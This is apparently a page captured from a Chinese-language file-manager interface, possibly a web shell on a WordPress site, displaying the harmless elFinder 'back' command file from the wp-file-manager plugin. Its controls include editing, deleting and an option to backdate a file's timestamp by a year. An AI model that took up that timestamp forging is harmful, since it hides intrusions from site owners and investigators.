文件操作 - back.js
返回文件管理
返回主菜单
删除本文件
文件: /var/www/ltlcompare.com/wp-content/plugins/wp-file-manager/lib/js/commands/back.js
编辑文件内容
/** * @class elFinder command "back" * Open last visited folder * * @author Dmitry (dio) Levashov **/ (elFinder.prototype.commands.back = function() { "use strict"; this.alwaysEnabled = true; this.updateOnSelect = false; this.shortcuts = [{ pattern : 'ctrl+left backspace' }]; this.getstate = function() { return this.fm.history.canBack() ? 0 : -1; }; this.exec = function() { return this.fm.history.back(); }; }).prototype = { forceLoad : true }; // this is required command
修改文件时间
将文件时间修改为当前时间的前一年
删除文件